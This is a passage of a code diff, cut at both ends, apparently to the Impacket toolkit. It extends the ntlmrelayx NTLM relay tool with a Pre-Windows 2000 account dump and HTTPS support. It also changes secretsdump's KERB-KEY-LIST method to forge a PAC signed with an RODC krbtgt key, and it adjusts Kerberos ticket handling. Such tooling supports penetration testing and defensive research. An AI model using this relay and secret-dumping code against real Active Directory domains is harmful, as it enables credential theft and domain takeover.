fd, indent=2) + fd.close() + LOG.info("Pre-Windows 2000 results saved to %s" % filename) + except Exception as e: + LOG.error("Failed to save Pre-Windows 2000 results: %s" % str(e)) + def dumpADCS(self): def is_template_for_authentification(entry): @@ -1147,6 +1286,10 @@ def _he(s): self.dumpADCS() LOG.info("Done dumping ADCS info") + # Dump Pre-Windows 2000 vulnerable computer accounts + if self.config.dumppre2k: + self.dumpPre2k(domainDumper) + if self.config.adddnsrecord: name = self.config.adddnsrecord[0] ipaddr = self.config.adddnsrecord[1] diff --git a/impacket/examples/ntlmrelayx/clients/smbrelayclient.py b/impacket/examples/ntlmrelayx/clients/smbrelayclient.py index e61a3f19ac..9ff3f2c11f 100644 --- a/impacket/examples/ntlmrelayx/clients/smbrelayclient.py +++ b/impacket/examples/ntlmrelayx/clients/smbrelayclient.py @@ -431,6 +431,7 @@ def sendStandardSecurityAuth(self, sessionSetupData): flags2 = v1client.get_flags()[1] v1client.set_flags(flags2=flags2 & (~SMB.FLAGS2_EXTENDED_SECURITY)) if sessionSetupData['Account'] != '': + LOG.debug("(SMB) sessionnSetupData Account is not empty. Send them to server") smb = NewSMBPacket() smb['Flags1'] = 8 @@ -440,7 +441,7 @@ def sendStandardSecurityAuth(self, sessionSetupData): sessionSetup['Parameters']['MaxBuffer'] = 65535 sessionSetup['Parameters']['MaxMpxCount'] = 2 - sessionSetup['Parameters']['VCNumber'] = os.getpid() + sessionSetup['Parameters']['VCNumber'] = os.getpid() & 0xFFFF sessionSetup['Parameters']['SessionKey'] = v1client._dialects_parameters['SessionKey'] sessionSetup['Parameters']['AnsiPwdLength'] = len(sessionSetupData['AnsiPwd']) sessionSetup['Parameters']['UnicodePwdLength'] = len(sessionSetupData['UnicodePwd']) @@ -466,6 +467,7 @@ def sendStandardSecurityAuth(self, sessionSetupData): return smb, STATUS_SUCCESS else: # Anonymous login, send STATUS_ACCESS_DENIED so we force the client to send his credentials + LOG.debug("(SMB1) Anonymous login, send STATUS_ACCESS_DENIED") clientResponse = None errorCode = STATUS_ACCESS_DENIED diff --git a/impacket/examples/ntlmrelayx/servers/httprelayserver.py b/impacket/examples/ntlmrelayx/servers/httprelayserver.py index 0753eb6d89..2f293851af 100644 --- a/impacket/examples/ntlmrelayx/servers/httprelayserver.py +++ b/impacket/examples/ntlmrelayx/servers/httprelayserver.py @@ -23,10 +23,11 @@ import socket import base64 import random +import ssl import struct import string from threading import Thread -from six import PY2, b +from six import b from impacket import ntlm, LOG from impacket.smbserver import outputToJohnFormat, writeJohnOutputToFile @@ -47,6 +48,28 @@ def __init__(self, server_address, RequestHandlerClass, config): socketserver.TCPServer.allow_reuse_address = True socketserver.TCPServer.__init__(self, server_address, RequestHandlerClass) + if self.config.https: + self.context = ssl.SSLContext(ssl.PROTOCOL_TLS_SERVER) + self.context.load_cert_chain(certfile=self.config.certfile, keyfile=self.config.keyfile) + + def get_request(self): + sock, addr = socketserver.TCPServer.get_request(self) + if self.config.https: + try: + ssock = self.context.wrap_socket(sock, server_side=True) + LOG.debug("(HTTP): TLS handshake from %s:%s succeeded (protocol=%s, cipher=%s)", + addr[0], addr[1], ssock.version(), ssock.cipher()) + return ssock, addr + except ssl.SSLError as e: + if "EOF" in str(e): + LOG.warning("(HTTP): TLS handshake from %s:%s aborted early (likely client rejected cert)", + addr[0], addr[1]) + else: + LOG.error("(HTTP): TLS handshake from %s:%s failed: %s", addr[0], addr[1], e) + sock.close() + raise + return sock, addr + class HTTPHandler(http.server.SimpleHTTPRequestHandler): def __init__(self,request, client_address, server): self.server = server @@ -137,16 +160,12 @@ def serve_image(self): self.wfile.write(imgFile_data) def strip_blob(self, proxy): - if PY2: - if proxy: - proxyAuthHeader = self.headers.getheader('Proxy-Authorization') - else: - autorizationHeader = self.headers.getheader('Authorization') + # Get the body of the request if any + # Otherwise, successive requests will not be handled properly + if proxy: + proxyAuthHeader = self.headers.get('Proxy-Authorization') else: - if proxy: - proxyAuthHeader = self.headers.get('Proxy-Authorization') - else: - autorizationHeader = self.headers.get('Authorization') + autorizationHeader = self.headers.get('Authorization') if (proxy and proxyAuthHeader is None) or (not proxy and autorizationHeader is None): self.do_AUTHHEAD(message = b'NTLM',proxy=proxy) @@ -249,6 +268,13 @@ def do_CONNECT(self): return def do_GET(self): + contentLength = self.headers.get("Content-Length") + if contentLength is not None: + try: + self.rfile.read(int(contentLength)) + except Exception: + pass + if self.server.config.mode == 'REDIRECT': self.do_SMBREDIRECT() return diff --git a/impacket/examples/ntlmrelayx/servers/smbrelayserver.py b/impacket/examples/ntlmrelayx/servers/smbrelayserver.py index b166ce47fd..19435a1db0 100644 --- a/impacket/examples/ntlmrelayx/servers/smbrelayserver.py +++ b/impacket/examples/ntlmrelayx/servers/smbrelayserver.py @@ -737,6 +737,7 @@ def SmbSessionSetupAndX(self, connId, smbServer, SMBCommand, recvPacket): sessionSetupData['AnsiPwdLength'] = sessionSetupParameters['AnsiPwdLength'] sessionSetupData['UnicodePwdLength'] = sessionSetupParameters['UnicodePwdLength'] sessionSetupData.fromString(SMBCommand['Data']) + connData['Capabilities'] = sessionSetupParameters['Capabilities'] client = connData['SMBClient'] _, errorCode = client.sendStandardSecurityAuth(sessionSetupData) @@ -826,7 +827,7 @@ def smbComTreeConnectAndX(self, connId, smbServer, SMBCommand, recvPacket): else: # No more targets to process, just let the victim to fail later LOG.info('(SMB): Connection from %s@%s controlled, but there are no more targets left!' % (self.authUser, connData['ClientIP'])) - return self.origsmbComTreeConnectAndX (connId, smbServer, recvPacket) + return self.origsmbComTreeConnectAndX (connId, smbServer, SMBCommand, recvPacket) LOG.info('(SMB): Connection from %s@%s controlled, attacking target %s://%s' % (self.authUser, connData['ClientIP'], self.target.scheme, self.target.netloc)) diff --git a/impacket/examples/ntlmrelayx/utils/config.py b/impacket/examples/ntlmrelayx/utils/config.py index f790dedbc1..62496686b9 100644 --- a/impacket/examples/ntlmrelayx/utils/config.py +++ b/impacket/examples/ntlmrelayx/utils/config.py @@ -48,6 +48,9 @@ def __init__(self): self.remove_sign_seal = False self.disableMulti = False self.keepRelaying = False + self.https = False + self.certfile = None + self.keyfile = None self.command = None @@ -194,7 +197,7 @@ def setDomainAccount(self, machineAccount, machineHashes, domainIp): def setRandomTargets(self, randomtargets): self.randomtargets = randomtargets - def setLDAPOptions(self, dumpdomain, addda, aclattack, validateprivs, escalateuser, addcomputer, delegateaccess, dumplaps, dumpgmsa, dumpadcs, sid, adddnsrecord, dumpinfoattr): + def setLDAPOptions(self, dumpdomain, addda, aclattack, validateprivs, escalateuser, addcomputer, delegateaccess, dumplaps, dumpgmsa, dumpadcs, sid, adddnsrecord, dumpinfoattr, dumppre2k=False): self.dumpdomain = dumpdomain self.addda = addda self.aclattack = aclattack @@ -208,6 +211,7 @@ def setLDAPOptions(self, dumpdomain, addda, aclattack, validateprivs, escalateus self.sid = sid self.adddnsrecord = adddnsrecord self.dumpinfoattr = dumpinfoattr + self.dumppre2k = dumppre2k def setMSSQLOptions(self, queries): self.queries = queries @@ -249,6 +253,11 @@ def setExploitOptions(self, remove_mic, remove_target, remove_sign_seal=False): self.remove_target = remove_target self.remove_sign_seal = remove_sign_seal + def setHTTPS(self, https, certfile, keyfile): + self.https = https + self.certfile = certfile + self.keyfile = keyfile + def setWebDAVOptions(self, serve_image): self.serve_image = serve_image diff --git a/impacket/examples/secretsdump.py b/impacket/examples/secretsdump.py index de8e3ec26d..642133d3cd 100644 --- a/impacket/examples/secretsdump.py +++ b/impacket/examples/secretsdump.py @@ -90,11 +90,13 @@ from impacket.crypto import transformKey from impacket.krb5 import constants from impacket.krb5.asn1 import Ticket as TicketAsn1, EncTicketPart, AP_REQ, seq_set, Authenticator, TGS_REQ, \ - seq_set_iter, TGS_REP, EncTGSRepPart, KERB_KEY_LIST_REP + seq_set_iter, TGS_REP, EncTGSRepPart, KERB_KEY_LIST_REP, AuthorizationData from impacket.krb5.constants import ProtocolVersionNumber, TicketFlags, PrincipalNameType, encodeFlags, EncryptionTypes from impacket.krb5.crypto import string_to_key, Key, _enctype_table -from impacket.krb5.kerberosv5 import sendReceive +from impacket.krb5.kerberosv5 import getKerberosTGSRequestEnctypes, sendReceive from impacket.krb5.types import KerberosTime, Principal, Ticket +from impacket.krb5 import pac +from impacket.dcerpc.v5.ndr import NDRULONG try: from Cryptodome.Cipher import DES, ARC4, AES from Cryptodome.Hash import HMAC, MD4, MD5 @@ -500,8 +502,34 @@ def connectSamr(self, domain): self.__domainName = domain def __connectDrds(self): - stringBinding = epm.hept_map(self.__smbConnection.getRemoteHost(), drsuapi.MSRPC_UUID_DRSUAPI, - protocol='ncacn_ip_tcp') + remote_host = self.__smbConnection.getRemoteHost() + try: + stringBinding = epm.hept_map(remote_host, drsuapi.MSRPC_UUID_DRSUAPI, + protocol='ncacn_ip_tcp') + except DCERPCException as e: + # RestrictRemoteClients = 2 (and similar policies): unauthenticated clients cannot + # talk to the TCP Endpoint Mapper (135). Resolve the DRSUAPI port via authenticated + # SMB to \\pipe\\epmapper, same pattern as examples/mimikatz.py. + if 'rpc_s_access_denied' not in str(e).lower(): + raise + LOG.info('Endpoint Mapper (TCP/135) denied anonymous access; using authenticated epmapper pipe') + epm_rpc = transport.DCERPCTransportFactory(r'ncacn_np:445[\pipe\epmapper]') + epm_rpc.set_smb_connection(self.__smbConnection) + if hasattr(epm_rpc, 'set_credentials'): + epm_rpc.set_credentials(*(self.__smbConnection.getCredentials())) + epm_rpc.set_kerberos(self.__doKerberos, self.__kdcHost) + epm_rpc.setRemoteHost(self.__smbConnection.getRemoteHost()) + epm_rpc.setRemoteName(self.__smbConnection.getRemoteName()) + epm_dce = epm_rpc.get_dce_rpc() + epm_dce.set_auth_level(RPC_C_AUTHN_LEVEL_PKT_PRIVACY) + if self.__doKerberos: + epm_dce.set_auth_type(RPC_C_AUTHN_GSS_NEGOTIATE) + epm_dce.connect() + try: + stringBinding = epm.hept_map(remote_host, drsuapi.MSRPC_UUID_DRSUAPI, + protocol='ncacn_ip_tcp', dce=epm_dce) + finally: + epm_dce.disconnect() rpc = transport.DCERPCTransportFactory(stringBinding) rpc.setRemoteHost(self.__smbConnection.getRemoteHost()) rpc.setRemoteName(self.__smbConnection.getRemoteName()) @@ -2604,16 +2632,17 @@ def _derive_trust_kerberos_keys(rawSecret, domain, partner, isIncoming): return out -def _format_trust_secrets(partner, rawSecret, domain, isIncoming, previous=False): - # Returns the output lines for one trust key (RC4 + AES256 + AES128). +def _format_trust_secrets(partner, rawSecret, domain, isIncoming, previous=False, justNTLM=False): + # Returns the output lines for one trust key (RC4, plus AES256/AES128 unless justNTLM). # previous=True labels the trustAuthInfo PreviousValue (the trust's old password). direction = 'Incoming' if isIncoming else 'Outgoing' if previous: direction += ', previous' ntHash = hexlify(MD4.new(rawSecret).digest()).decode('utf-8') lines = ['%s (%s):rc4_hmac:%s' % (partner, direction, ntHash)] - for typename, keyHex in _derive_trust_kerberos_keys(rawSecret, domain, partner, isIncoming): - lines.append('%s (%s):%s:%s' % (partner, direction, typename, keyHex)) + if not justNTLM: + for typename, keyHex in _derive_trust_kerberos_keys(rawSecret, domain, partner, isIncoming): + lines.append('%s (%s):%s:%s' % (partner, direction, typename, keyHex)) return lines @@ -3430,13 +3459,13 @@ def __dumpTrustKeysOffline(self, outputFile=None): except Exception: LOG.debug('Exception', exc_info=True) continue - for line in _format_trust_secrets(partner, currentSecret, self.__domainFQDN, isIncoming): + for line in _format_trust_secrets(partner, currentSecret, self.__domainFQDN, isIncoming, justNTLM=self.__justNTLM): self.__perSecretCallback(NTDSHashes.SECRET_TYPE.NTDS, line) if outputFile is not None: self.__writeOutput(outputFile, line + '\n') count += 1 if previousSecret: - for line in _format_trust_secrets(partner, previousSecret, self.__domainFQDN, isIncoming, previous=True): + for line in _format_trust_secrets(partner, previousSecret, self.__domainFQDN, isIncoming, previous=True, justNTLM=self.__justNTLM): self.__perSecretCallback(NTDSHashes.SECRET_TYPE.NTDS, line) if outputFile is not None: self.__writeOutput(outputFile, line + '\n') @@ -3530,12 +3559,12 @@ def __dumpTrustKeyOnlineOne(self, partner, baseDN, domain, drsr, outputFile=None continue currentSecret, previousSecret = parsed if currentSecret: - for line in _format_trust_secrets(partner, currentSecret, domain, isIncoming): + for line in _format_trust_secrets(partner, currentSecret, domain, isIncoming, justNTLM=self.__justNTLM): self.__perSecretCallback(NTDSHashes.SECRET_TYPE.NTDS, line) if outputFile is not None: self.__writeOutput(outputFile, line + '\n') if previousSecret: - for line in _format_trust_secrets(partner, previousSecret, domain, isIncoming, previous=True): + for line in _format_trust_secrets(partner, previousSecret, domain, isIncoming, previous=True, justNTLM=self.__justNTLM): self.__perSecretCallback(NTDSHashes.SECRET_TYPE.NTDS, line) if outputFile is not None: self.__writeOutput(outputFile, line + '\n') @@ -3968,17 +3997,18 @@ def __init__(self, domainName, kdc, kvno, rodcKey, remoteOps=None): def dump(self): LOG.info('Using the KERB-KEY-LIST method to get secrets') self.__remoteOps.connectSamr(self.__remoteOps.getMachineNameAndDomain()[1]) + domainSid = self.__remoteOps.getDomainSid() targetList = self.getAllowedUsersToReplicate() for targetUser in targetList: - user = targetUser.split(":")[0] + user, _, rid = targetUser.rpartition(":") targetUserName = Principal('%s' % user, type=constants.PrincipalNameType.NT_PRINCIPAL.value) - partialTGT, sessionKey = self.createPartialTGT(targetUserName) + partialTGT, sessionKey = self.createPartialTGT(targetUserName, int(rid), domainSid) fullTGT = self.getFullTGT(targetUserName, partialTGT, sessionKey) if fullTGT is not None: key = self.getKey(fullTGT, sessionKey) print(self.__domain + "\\" + targetUser + ":" + key[2:]) - def createPartialTGT(self, userName): + def createPartialTGT(self, userName, userRid=None, domainSid=None): # We need the ticket template partialTGT = TicketAsn1() partialTGT['tkt-vno'] = ProtocolVersionNumber.pvno.value @@ -4018,8 +4048,17 @@ def createPartialTGT(self, userName): ticketDuration = datetime.now(timezone.utc) + timedelta(days=int(120)) encTicketPart['endtime'] = KerberosTime.to_asn1(ticketDuration) encTicketPart['renew-till'] = KerberosTime.to_asn1(ticketDuration) - # We don't need PAC + # PAC-hardened DCs (Server 2019+) reject a PAC-less RODC-issued ticket during + # the KERB-KEY-LIST exchange (KDC_ERR_TGT_REVOKED), so embed a signed PAC. + pacData = self._createPartialPac(userName, userRid, domainSid) + pacIfRelevant = AuthorizationData() + pacIfRelevant[0] = noValue + pacIfRelevant[0]['ad-type'] = constants.AuthorizationDataType.AD_WIN2K_PAC.value + pacIfRelevant[0]['ad-data'] = pacData encTicketPart['authorization-data'] = noValue + encTicketPart['authorization-data'][0] = noValue + encTicketPart['authorization-data'][0]['ad-type'] = constants.AuthorizationDataType.AD_IF_RELEVANT.value + encTicketPart['authorization-data'][0]['ad-data'] = encoder.encode(pacIfRelevant) # We encode the encripted part encodedEncTicketPart = encoder.encode(encTicketPart) # and we encrypt it with the RODC key @@ -4033,6 +4072,109 @@ def createPartialTGT(self, userName): return partialTGT, sessionKey + def _createPartialPac(self, userName, userRid=None, domainSid=None): + # Build a PAC signed with the RODC krbtgt key (both checksums, like a golden + # ticket). userRid/domainSid come from SAMR (dump mode) or -domain-sid (LIST + # mode); fall back to a placeholder identity when they are unavailable. + if userRid is None: + logging.warning("No RID for user %s; the PAC requestor will use a placeholder " + "identity. PAC-hardened DCs may reject it -- provide username:rid.", userName) + userRid = 1000 + if domainSid is None: + domainSid = 'S-1-5-21-0-0-0' + + kerbdata = pac.KERB_VALIDATION_INFO() + fileTime = int(datetime.now(timezone.utc).timestamp()) * 10000000 + 116444736000000000 + kerbdata['LogonTime']['dwLowDateTime'] = fileTime & 0xffffffff + kerbdata['LogonTime']['dwHighDateTime'] = fileTime >> 32 + kerbdata['LogoffTime']['dwLowDateTime'] = 0xFFFFFFFF + kerbdata['LogoffTime']['dwHighDateTime'] = 0x7FFFFFFF + kerbdata['KickOffTime']['dwLowDateTime'] = 0xFFFFFFFF + kerbdata['KickOffTime']['dwHighDateTime'] = 0x7FFFFFFF + kerbdata['PasswordLastSet']['dwLowDateTime'] = fileTime & 0xffffffff + kerbdata['PasswordLastSet']['dwHighDateTime'] = fileTime >> 32 + kerbdata['PasswordCanChange']['dwLowDateTime'] = 0 + kerbdata['PasswordCanChange']['dwHighDateTime'] = 0 + kerbdata['PasswordMustChange']['dwLowDateTime'] = 0xFFFFFFFF + kerbdata['PasswordMustChange']['dwHighDateTime'] = 0x7FFFFFFF + kerbdata['EffectiveName'] = str(userName) + kerbdata['FullName'] = '' + kerbdata['LogonScript'] = '' + kerbdata['ProfilePath'] = '' + kerbdata['HomeDirectory'] = '' + kerbdata['HomeDirectoryDrive'] = '' + kerbdata['LogonCount'] = 0 + kerbdata['BadPasswordCount'] = 0 + kerbdata['UserId'] = int(userRid) + kerbdata['PrimaryGroupId'] = 513 + groups = [513] + kerbdata['GroupCount'] = len(groups) + for group in groups: + groupMembership = samr.GROUP_MEMBERSHIP() + groupId = NDRULONG() + groupId['Data'] = int(group) + groupMembership['RelativeId'] = groupId + groupMembership['Attributes'] = samr.SE_GROUP_MANDATORY | \ + samr.SE_GROUP_ENABLED_BY_DEFAULT | samr.SE_GROUP_ENABLED + kerbdata['GroupIds'].append(groupMembership) + kerbdata['UserFlags'] = 0 + kerbdata['UserSessionKey'] = b'\x00' * 16 + kerbdata['LogonServer'] = '' + kerbdata['LogonDomainName'] = self.__domain.upper() + kerbdata['LogonDomainId'].fromCanonical(domainSid) + kerbdata['LMKey'] = b'\x00' * 8 + kerbdata['UserAccountControl'] = samr.USER_NORMAL_ACCOUNT | samr.USER_DONT_EXPIRE_PASSWORD + kerbdata['SubAuthStatus'] = 0 + kerbdata['LastSuccessfulILogon']['dwLowDateTime'] = 0 + kerbdata['LastSuccessfulILogon']['dwHighDateTime'] = 0 + kerbdata['LastFailedILogon']['dwLowDateTime'] = 0 + kerbdata['LastFailedILogon']['dwHighDateTime'] = 0 + kerbdata['FailedILogonCount'] = 0 + kerbdata['Reserved3'] = 0 + kerbdata['ResourceGroupDomainSid'] = NULL + kerbdata['ResourceGroupCount'] = 0 + kerbdata['ResourceGroupIds'] = NULL + + validationInfo = pac.VALIDATION_INFO() + validationInfo['Data'] = kerbdata + + pacInfos = {} + pacInfos[pac.PAC_LOGON_INFO] = validationInfo.getData() + validationInfo.getDataReferents() + + srvCheckSum = pac.PAC_SIGNATURE_DATA() + privCheckSum = pac.PAC_SIGNATURE_DATA() + srvCheckSum['SignatureType'] = constants.ChecksumTypes.hmac_sha1_96_aes256.value + privCheckSum['SignatureType'] = constants.ChecksumTypes.hmac_sha1_96_aes256.value + srvCheckSum['Signature'] = b'\x00' * 12 + privCheckSum['Signature'] = b'\x00' * 12 + pacInfos[pac.PAC_SERVER_CHECKSUM] = srvCheckSum.getData() + pacInfos[pac.PAC_PRIVSVR_CHECKSUM] = privCheckSum.getData() + + clientInfo = pac.PAC_CLIENT_INFO() + clientInfo['Name'] = str(userName).encode('utf-16le') + clientInfo['NameLength'] = len(clientInfo['Name']) + pacInfos[pac.PAC_CLIENT_INFO_TYPE] = clientInfo.getData() + + # PAC_ATTRIBUTES_INFO and PAC_REQUESTOR are required by DCs patched for + # CVE-2021-42287: the KDC validates that PAC_REQUESTOR's SID matches the + # ticket client, so it must carry the real domain SID and user RID. + pacAttributes = pac.PAC_ATTRIBUTE_INFO() + pacAttributes['FlagsLength'] = 2 + pacAttributes['Flags'] = 1 + pacInfos[pac.PAC_ATTRIBUTES_INFO] = pacAttributes.getData() + + pacRequestor = pac.PAC_REQUESTOR() + pacRequestor['UserSid'] = SID() + pacRequestor['UserSid'].fromCanonical('%s-%d' % (domainSid, int(userRid))) + pacInfos[pac.PAC_REQUESTOR_INFO] = pacRequestor.getData() + + pacType = pac.sign_pac(pacInfos, aes_key=self.__rodcKey, + buffer_order=[pac.PAC_LOGON_INFO, pac.PAC_CLIENT_INFO_TYPE, + pac.PAC_ATTRIBUTES_INFO, pac.PAC_REQUESTOR_INFO, + pac.PAC_SERVER_CHECKSUM, pac.PAC_PRIVSVR_CHECKSUM], + checksum_salt=constants.KERB_NON_KERB_CKSUM_SALT) + return pacType.getData() + def getFullTGT(self, userName, partialTGT, sessionKey): ticket = Ticket() ticket.from_asn1(partialTGT) @@ -4093,15 +4235,11 @@ def getFullTGT(self, userName, partialTGT, sessionKey): reqBody['till'] = KerberosTime.to_asn1(now) reqBody['nonce'] = rand.getrandbits(31) - seq_set_iter(reqBody, 'etype', - ( - int(cipher.enctype), - int(constants.EncryptionTypes.aes128_cts_hmac_sha1_96.value), - int(constants.EncryptionTypes.rc4_hmac.value), - int(constants.EncryptionTypes.rc4_hmac_exp.value), - int(constants.EncryptionTypes.rc4_hmac_old_exp.value) - ) - ) + requestEtypes = getKerberosTGSRequestEnctypes() + ( + int(constants.EncryptionTypes.rc4_hmac_exp.value), + int(constants.EncryptionTypes.rc4_hmac_old_exp.value), + ) + seq_set_iter(reqBody, 'etype', requestEtypes) message = encoder.encode(tgsReq) # Let's send our TGS Request, the response will include the FULL TGT with the keys!!! @@ -4141,9 +4279,22 @@ def getKey(resp, sessionKey): keyAuth = Key(cipher.enctype, bytes(sessionKey)) decryptedTGSRepPart = cipher.decrypt(keyAuth, 8, encTGSRepPart['cipher']) decodedTGSRepPart = decoder.decode(decryptedTGSRepPart, asn1Spec=EncTGSRepPart())[0] - encPaData1 = decodedTGSRepPart['encrypted_pa_data'][0] - decodedPaData1 = decoder.decode(encPaData1['padata-value'], asn1Spec=KERB_KEY_LIST_REP())[0] - key = decodedPaData1[0]['keyvalue'].prettyPrint() + + # encrypted_pa_data may hold several PA-DATA in any order (e.g. also + # PA-SUPPORTED-ENCTYPES), so find KERB-KEY-LIST-REP (162) by type. + keyListPaData = None + for paData in decodedTGSRepPart['encrypted_pa_data']: + if int(paData['padata-type']) == constants.PreAuthenticationDataTypes.KERB_KEY_LIST_REP.value: + keyListPaData = paData + break + + if keyListPaData is None: + returnedTypes = [int(paData['padata-type']) for paData in decodedTGSRepPart['encrypted_pa_data']] + raise Exception("KDC response does not contain KERB-KEY-LIST-REP (type 162); " + "PA-DATA types returned: %s" % returnedTypes) + + decodedKeyList = decoder.decode(keyListPaData['padata-value'], asn1Spec=KERB_KEY_LIST_REP())[0] + key = decodedKeyList[0]['keyvalue'].prettyPrint() return key diff --git a/impacket/examples/utils.py b/impacket/examples/utils.py index ac997b495d..4b2ccc5593 100644 --- a/impacket/examples/utils.py +++ b/impacket/examples/utils.py @@ -248,8 +248,72 @@ def init_ldap_session(domain, username, password, lmhash, nthash, k, dc_ip, dc_h # ---------- -from impacket.ldap import ldap +from impacket.ldap import ldap, ldapasn1 +from impacket.ldap.ldaptypes import LDAP_SID import logging + + +def ldap_value_to_bytes(value): + """Coerce an LDAP attribute value to bytes.""" + if value is None: + return None + if hasattr(value, 'asOctets'): + return value.asOctets() + if isinstance(value, bytes): + return value + return bytes(value) + + +def as_string(value): + """Coerce an LDAP attribute value to a UTF-8 string.""" + if value is None: + return None + if isinstance(value, bytes): + return value.decode('utf-8') + if hasattr(value, 'asOctets'): + raw = value.asOctets() + try: + return raw.decode('utf-8') + except UnicodeDecodeError: + return raw.decode('latin-1') + return str(value) + + +def as_sid_string(value): + """Coerce an LDAP attribute value to a canonical SID string (e.g. S-1-5-...).""" + if value is None: + return None + if isinstance(value, str) and value.startswith('S-'): + return value + sid_bytes = ldap_value_to_bytes(value) + if sid_bytes is None: + return None + return LDAP_SID(data=sid_bytes).formatCanonical() + + +def search_entries(ldap_session, search_filter, search_base, search_scope=None, + attributes=None, search_controls=None): + """Run an LDAP search and return only SearchResultEntry items.""" + response = ldap_session.search( + searchBase=search_base, + searchFilter=search_filter, + scope=search_scope, + attributes=attributes, + searchControls=search_controls, + ) + return [item for item in response if isinstance(item, ldapasn1.SearchResultEntry)] + + +def log_ldap_error(prefix, error): + """Log an LDAPSessionError with a human-readable prefix.""" + if error.getErrorCode() == 50: + logging.error('%s, the server reports insufficient rights: %s', prefix, error.getErrorString()) + elif error.getErrorCode() == 19: + logging.error('%s, the server reports a constrained violation: %s', prefix, error.getErrorString()) + else: + logging.error('%s: %s', prefix, error.getErrorString()) + + def ldap_login(target, base_dn, kdc_ip, kdc_host, do_kerberos, username, password, domain, lmhash, nthash, aeskey, ldaps_flag=False, target_domain=None, fqdn=False): if kdc_host is not None and (target_domain is None or domain == target_domain): target = kdc_host @@ -342,4 +406,4 @@ def get_connected_socket(ip, port, ipv6=False): s = socket.socket(socket.AF_INET6 if ipv6 else socket.AF_INET) _, address = get_address(ip, port, ipv6) s.connect(address) - return s \ No newline at end of file + return s diff --git a/impacket/krb5/ccache.py b/impacket/krb5/ccache.py index e72b652ba6..813dd3112d 100644 --- a/impacket/krb5/ccache.py +++ b/impacket/krb5/ccache.py @@ -320,6 +320,7 @@ def toTGT(self): tgt['KDC_REP'] = encoder.encode(tgt_rep) tgt['cipher'] = cipher tgt['sessionKey'] = crypto.Key(cipher.enctype, self['key']['keyvalue']) + tgt['client'] = self['client'] return tgt def toTGS(self, newSPN=None): @@ -427,7 +428,31 @@ def getCredential(self, server, anySPN=True): # Let's search for any TGT/TGS that matches the server w/o the SPN's service type/port, returns # the first one # If server has no '/' we assume it's a ST from S4U2Self without a service type - if c['server'].prettyPrint().find(b'/') >=0: + if c['server'].prettyPrint().count(b'/') >= 2: + # 3-part SPN: service/host/domain@REALM + # Seen when a service ticket is dumped from LSASS memory (e.g. via + # Rubeus' `dump` command) rather than requested fresh - Windows caches + # such tickets with the domain suffix appended as an extra SPN + # component, e.g. LDAP/dc.domain.local/domain.local@REALM + cachedParts = c['server'].prettyPrint().upper().split(b'/') + cachedHost = cachedParts[1].split(b'@')[0].split(b':', 1)[0] + cachedRealm = cachedParts[-1].split(b'@')[-1] + + serverParts = server.upper().split('/') + searchHost = b(serverParts[1].split('@')[0].split(':', 1)[0]) + searchRealm = b(serverParts[-1].split('@')[-1]) + + hostsMatch = cachedHost == searchHost + + # Allow short-name/FQDN matching only when at least one + # side is actually an unqualified hostname. + if not hostsMatch and (b'.' not in cachedHost or b'.' not in searchHost): + hostsMatch = cachedHost.split(b'.', 1)[0] == searchHost.split(b'.', 1)[0] + + if hostsMatch and cachedRealm == searchRealm: + LOG.debug('Returning cached credential for %s' % c['server'].prettyPrint().upper().decode('utf-8')) + return c + elif c['server'].prettyPrint().find(b'/') >=0: # Let's take the port out for comparison cachedSPN = (c['server'].prettyPrint().upper().split(b'/')[1].split(b'@')[0].split(b':')[0] + b'@' + c['server'].prettyPrint().upper().split(b'/')[1].split(b'@')[1]) searchSPN = '%s@%s' % (server.upper().split('/')[1].split('@')[0].split(':')[0], diff --git a/impacket/krb5/kerberosv5.py b/impacket/krb5/kerberosv5.py index 2f38e20695..0a690911ce 100644 --- a/impacket/krb5/kerberosv5.py +++ b/impacket/krb5/kerberosv5.py @@ -51,10 +51,45 @@ rand = random pass -def _sendReceiveTCP(data, targetHost, port): +# TGS request etypes describe the session keys the client can use for the +# requested ticket. They are independent from the enctype of the TGT session +# key used to protect the request. +DEFAULT_TGS_ENCTYPES = ( + int(constants.EncryptionTypes.aes256_cts_hmac_sha1_96.value), + int(constants.EncryptionTypes.aes128_cts_hmac_sha1_96.value), + int(constants.EncryptionTypes.rc4_hmac.value), + int(constants.EncryptionTypes.des3_cbc_sha1_kd.value), + int(constants.EncryptionTypes.des_cbc_md5.value), +) + +RC4_PREFERRED_TGS_ENCTYPES = ( + int(constants.EncryptionTypes.rc4_hmac.value), + int(constants.EncryptionTypes.aes256_cts_hmac_sha1_96.value), + int(constants.EncryptionTypes.aes128_cts_hmac_sha1_96.value), + int(constants.EncryptionTypes.des3_cbc_sha1_kd.value), + int(constants.EncryptionTypes.des_cbc_md5.value), +) + + +def getKerberosTGSRequestEnctypes(etypes=None): + if etypes is None: + return DEFAULT_TGS_ENCTYPES + + normalizedEtypes = tuple(int(getattr(etype, 'value', etype)) for etype in etypes) + if len(normalizedEtypes) == 0: + raise ValueError('At least one TGS request enctype must be specified') + return normalizedEtypes + + +def sendReceive(data, host, kdcHost, port=88): + if kdcHost is None: + targetHost = host + else: + targetHost = kdcHost + messageLen = struct.pack('!i', len(data)) - LOG.debug('Trying to connect to KDC at %s:%s (TCP)' % (targetHost, port)) + LOG.debug('Trying to connect to KDC at %s:%s' % (targetHost, port)) try: af, socktype, proto, canonname, sa = socket.getaddrinfo(targetHost, port, 0, socket.SOCK_STREAM)[0] s = socket.socket(af, socktype, proto) @@ -70,46 +105,11 @@ def _sendReceiveTCP(data, targetHost, port): while len(r) < recvDataLen: r += s.recv(recvDataLen-len(r)) - s.close() - return r - -def _sendReceiveUDP(data, targetHost, port): - LOG.debug('Trying to connect to KDC at %s:%s (UDP)' % (targetHost, port)) - try: - af, socktype, proto, canonname, sa = socket.getaddrinfo(targetHost, port, 0, socket.SOCK_DGRAM)[0] - s = socket.socket(af, socktype, proto) - s.settimeout(3) - s.sendto(data, sa) - r, _ = s.recvfrom(65535) - except socket.error as e: - raise socket.error("Connection error (%s:%s)" % (targetHost, port), e) - finally: - s.close() - return r - -def sendReceive(data, host, kdcHost, port=88): - if kdcHost is None: - targetHost = host - else: - targetHost = kdcHost - - try: - r = _sendReceiveUDP(data, targetHost, port) - except socket.error: - r = _sendReceiveTCP(data, targetHost, port) - try: krbError = KerberosError(packet = decoder.decode(r, asn1Spec = KRB_ERROR())[0]) except: return r - if krbError.getErrorCode() == constants.ErrorCodes.KRB_ERR_RESPONSE_TOO_BIG.value: - r = _sendReceiveTCP(data, targetHost, port) - try: - krbError = KerberosError(packet = decoder.decode(r, asn1Spec = KRB_ERROR())[0]) - except: - return r - if krbError.getErrorCode() != 